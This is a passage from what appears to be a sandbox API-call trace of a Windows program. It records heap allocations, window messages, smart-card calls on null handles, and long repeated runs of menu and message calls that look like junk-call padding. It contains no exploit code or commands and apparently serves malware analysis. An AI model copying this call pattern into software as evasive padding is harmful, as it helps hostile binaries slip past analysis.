(hWnd=0x1012e, Msg=0x47, wParam=0x0, lParam=0x18fde0) returned 0x0 [0127.361] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0127.362] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0127.362] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x1c, wParam=0x0, lParam=0x3a8) returned 0x0 [0127.362] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0127.362] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0127.362] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0127.362] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0127.362] GetClassFileOrMime (pBC=0x0, szFilename=0x0, pBuffer=0x0, cbSize=0x0, szMime=0x0, dwReserved=0x0, pclsid=0x0) returned 0x80070057 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.362] GetParent (hWnd=0x0) returned 0x0 [0127.363] GetParent (hWnd=0x0) returned 0x0 [0127.363] GetParent (hWnd=0x0) returned 0x0 [0127.363] GetPerformanceInfo (pPerformanceInformation=0x18fa6c, cb=0x0) returned 0 [0127.363] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0127.363] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de0a0 [0127.363] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de0c0 [0127.363] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de0f8 [0127.363] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de118 [0127.363] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0127.363] GetConsoleWindow () returned 0x0 [0127.370] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0127.370] CombineRgn (hrgnDst=0x0, hrgnSrc1=0x0, hrgnSrc2=0x0, iMode=1) returned 0 [0127.370] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f68c, fWinIni=0x0 | out: pvParam=0x18f68c) returned 1 [0127.370] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0127.370] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0c0 | out: hHeap=0x3d0000) returned 1 [0127.370] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de118 | out: hHeap=0x3d0000) returned 1 [0127.370] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0f8 | out: hHeap=0x3d0000) returned 1 [0127.370] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0127.370] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0a0 | out: hHeap=0x3d0000) returned 1 [0127.370] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0127.370] GetLastError () returned 0x578 [0127.370] InitCommonControls () [0127.370] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0127.370] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=0) returned 0x0 [0127.370] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-514) returned 0x0 [0127.370] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=-6791920) returned 0x0 [0127.370] GetDlgItem (hDlg=0x18f60c, nIDDlgItem=236) returned 0x0 [0127.370] LoadIconA (hInstance=0x400000, lpIconName=0xec) returned 0x0 [0127.370] SCardForgetReaderA (hContext=0x0, szReaderName=0x0) returned -2146435055 [0127.621] LoadIconA (hInstance=0x400000, lpIconName=0x96) returned 0x0 [0127.621] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0127.621] LoadIconA (hInstance=0x400000, lpIconName=0xc) returned 0x0 [0127.621] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.621] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.621] SCardGetCardTypeProviderNameA (in: hContext=0x0, szCardName=0x0, dwProviderId=0x0, szProvider=0x0, pcchProvider=0x18f618 | out: szProvider=0x0, pcchProvider=0x18f618) returned -2146435068 [0127.621] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.621] SendMessageA (hWnd=0x0, Msg=0xf7, wParam=0x1, lParam=0x0) returned 0x0 [0127.621] ImageList_Create (cx=20, cy=16, flags=0x1, cInitial=2, cGrow=2) returned 0x60b100 [0127.623] LoadIconA (hInstance=0x400000, lpIconName=0xfdfe) returned 0x0 [0127.623] LoadIconA (hInstance=0x400000, lpIconName=0x5d10) returned 0x0 [0127.625] ImageList_ReplaceIcon (himl=0x2f00002f, i=-1, hicon=0x0) returned -1 [0127.625] ImageList_ReplaceIcon (himl=0x2f00002f, i=-1, hicon=0x0) returned -1 [0127.625] SendMessageA (hWnd=0x0, Msg=0x1109, wParam=0x0, lParam=0x2f00002f) returned 0x0 [0127.625] DestroyCursor (hCursor=0x0) returned 0 [0127.626] DestroyCursor (hCursor=0x0) returned 0 [0127.626] DestroyCursor (hCursor=0x0) returned 0 [0127.626] DestroyCursor (hCursor=0x0) returned 0 [0127.626] DestroyCursor (hCursor=0x0) returned 0 [0127.626] DestroyCursor (hCursor=0x0) returned 0 [0127.626] SendMessageA (hWnd=0x0, Msg=0x110a, wParam=0x0, lParam=0x0) returned 0x0 [0127.626] SendMessageA (hWnd=0x0, Msg=0x110b, wParam=0x9, lParam=0x0) returned 0x0 [0127.626] IsWindow (hWnd=0x1012e) returned 1 [0127.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0127.626] GetDC (hWnd=0x0) returned 0x601015d [0127.626] CreateCompatibleDC (hdc=0x601015d) returned 0x50106c3 [0127.626] CreateDIBSection (in: hdc=0x0, lpbmi=0x18ed98, usage=0x0, ppvBits=0x18ed90, hSection=0x0, offset=0x0 | out: ppvBits=0x18ed90) returned 0x0 [0127.626] GetCurrentObject (hdc=0x50106c3, type=0x7) returned 0x185000f [0127.626] SelectObject (hdc=0x50106c3, h=0x0) returned 0x0 [0127.626] ReleaseDC (hWnd=0x0, hDC=0x601015d) returned 1 [0127.626] GetClientRect (in: hWnd=0x0, lpRect=0x18ec30 | out: lpRect=0x18ec30) returned 0 [0127.626] SetScrollInfo (hwnd=0x0, nBar=0, lpsi=0x18ec14, redraw=1) returned 0 [0127.644] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x18ec14, redraw=1) returned 0 [0127.645] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0127.645] PtInRect (lprc=0x18e874, pt=0x0) returned 0 [0127.645] VarDateFromI4 (in: lIn=0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.645] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.646] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.647] SetScrollPos (hWnd=0x0, nBar=1197974244, nPos=6336266, bRedraw=1) returned 0 [0127.647] VarDateFromR4 (in: fltIn=0x0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3de0a0 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de0c8 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3d2cf8 [0127.647] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0c8 | out: hHeap=0x3d0000) returned 1 [0127.647] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2cf8 | out: hHeap=0x3d0000) returned 1 [0127.647] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0a0 | out: hHeap=0x3d0000) returned 1 [0127.647] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3de0a0 [0127.647] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de0c8 [0127.647] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="LSIDcomposite") returned 0x168 [0127.647] GetCursorPos (in: lpPoint=0x18e858 | out: lpPoint=0x18e858*(x=964, y=496)) returned 1 [0127.647] GetConsoleWindow () returned 0x0 [0127.647] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.647] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.647] DrawMenuBar (hWnd=0x0) returned 0 [0127.647] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.648] GetConsoleWindow () returned 0x0 [0127.648] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.648] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.648] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.649] GetConsoleWindow () returned 0x0 [0127.649] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.649] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.649] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.650] GetConsoleWindow () returned 0x0 [0127.650] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.650] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.650] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.651] DrawMenuBar (hWnd=0x0) returned 0 [0127.651] GetConsoleWindow () returned 0x0 [0127.651] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.651] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu 